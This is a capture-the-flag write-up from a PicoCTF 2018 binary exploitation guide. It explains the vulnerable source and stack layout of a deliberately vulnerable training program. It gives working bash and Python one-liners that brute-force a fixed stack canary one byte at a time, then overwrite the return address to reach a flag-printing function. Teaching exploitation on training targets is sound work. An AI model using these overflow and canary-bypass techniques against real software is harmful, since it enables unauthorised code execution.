PicoCTF 2018 - Buffer Overflow 3

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

In addition to the unchecked write into buf, vuln() has an extra trick up it’s sleeve this time around:

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

The program first sets the buffer global_canary by reading 4 bytes from a file (not shown). It then copies those 4 bytes into a buffer at the end of the stack (canary) at the beginning of the vuln() function, and verifies that content of the buffer is still intact after reading an arbitrary number of bytes into buf. This “mimics” code that the compiler would emit as stack protection, however instead of reading from a file, the compiler would use a new canary value at every execution.

Strategy

The big advantage we have here is the canary value is exactly the same every time we execute the program. However, as far as we are concerned, it could be any random 4-byte (32 bit) value. That means there are 2^32 different possible values (0 through 4,294,967,296). The good news is if we can “guess” the right value, then the program will be unaware that we’ve overwritten the buffer, and we’ll be free to overwrite anything else on the stack, including the return address of the function.

Rather than brute forcing over 4 billion possibilities, maybe theres something else we can use to our advantage?

The trick is that the program explicitly asks for number of bytes to copy into the buffer. Therefore, you don’t have to guess the entire canary value in one shot, and you can instead only guess the first byte and leave the rest intact. Once you know the first byte, you can move on to the second byte and so on and so forth. You’ve essentially re-created the common movie trope where your spy-gadget cracks the code one digit at a time.

Since we can operate on a single byte at a time, we’ve reduced the search space from 4,294,967,296 guesses down to 4 guess of 256 values (4*256 = 1024). That’s a big improvement.

Background Info

First things first, let’s verify the stack layout of the vuln() function, and see where buf is relative to canary and the return address of the function. Recall that you can use objdump -M intel -S ./vuln to view the assembly code of a binary.

vuln:
  push   ebp ; preserve ebp
  mov    ebp,esp ; ebp points at preserved ebp value
  sub    esp,0x58

  mov    DWORD PTR [ebp-0xc],0x0 ; x = 0
  
  mov    eax,ds:0x804a058
  mov    DWORD PTR [ebp-0x10],eax ; memcpy(canary,global_canary,CANARY_SIZE);

  ; ...
  mov    eax,DWORD PTR [ebp-0x54]
  sub    esp,0x4
  push   eax  ; count
  lea    eax,[ebp-0x30] ; buf
  push   eax
  push   0x0  ;  0
  call   80484f0 <read@plt> ; read(0,buf,count);
  add    esp,0x10
  ; ...

Looking at the above assembly code, we can deduce that canary is at ebp-0x10 and buf is at ebp-0x30. Since buf is 32 (0x20) bytes, we see that canary immediately follows buf in memory. After that, there are 12 bytes of padding before we get to the preserved value of ebp on the stack (4 bytes), and after that is the return address.

lower addresses higher addresses
buf[32] canary[4] padding[12] <old ebp> <return address>

If you write 33 characters to buf, then you would over-write the first byte of canary. After the 4 bytes of canary there are 16 more bytes before you start overwriting the return address. To completely overwrite the 4 bytes reserved for the return address, you would have to write a total of 56 bytes into buf.

There is one more interesting thing we should dig up, and that is the address of the win() function. When called, it will print out the flag.

$ readelf -s ./vuln | grep "win"
    72: 080486eb   117 FUNC    GLOBAL DEFAULT   14 win

In terms of how you should brute-force the canary bytes, you could use pwntools to do this challenge, but sometimes when scripting like this I find bash easier to work with, particularly since our program will exit with an error code when we guess wrong, and exit normally when we guess right. This is how I would approach it:

$ for i in {0..255}; do python -c "print \"33\\n\" + \"U\"*32 + chr($i)" | ./vuln >/dev/null && echo "$i"; done

When run, the above script will print out the decimal equivalent for the first byte of canary (it tries all 256 possibilities, but only echos the one value that doesn’t return an error code). Once you know the first byte, you add “ + chr(value) +” into the string (after the Us) and increment byte byte count (33 ⇒ 34). Repeat until you know the correct value of all 4 bytes of the canary.

The challenge is located at /problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e. Head there now and see if you can exploit it to get the flag.

Exploitation

First up, you need to crack the value for the canary:

$ for i in {0..255}; do python -c "print \"33\\n\" + \"U\"*32 + chr($i)" | ./vuln >/dev/null && echo "$i"; done
60
$ for i in {0..255}; do python -c "print \"34\\n\" + \"U\"*32 + chr(60) + chr($i)" | ./vuln >/dev/null && echo "$i"; done
122
$ for i in {0..255}; do python -c "print \"35\\n\" + \"U\"*32 + chr(60) + chr(122) + chr($i)" | ./vuln >/dev/null && echo "$i"; done
79
$ for i in {0..255}; do python -c "print \"36\\n\" + \"U\"*32 + chr(60) + chr(122) + chr(79) + chr($i)" | ./vuln >/dev/null && echo "$i"; done
37

After some quick scripting and we’ve determined the canary to be the bytes [60,122,79,37]. Recall that to exploit this program we will need to write a total of 56 bytes into buf: 32 bytes, the above 4 byte canary value, 16 bytes of padding, and a 4 byte return address (0x080486eb written in little-endian form).

$ python -c "print \"56\\n\" + \"U\"*32 + chr(60) + chr(122) + chr(79) + chr(37) + \"U\"*16 + \"\\xeb\\x86\\x04\\x08\"" | ./vuln
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?
picoCTF{===REDACTED===}
Segmentation fault (core dumped)

Great Job! Hopefully you’ve learned a little something about stack canaries and how they work. Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.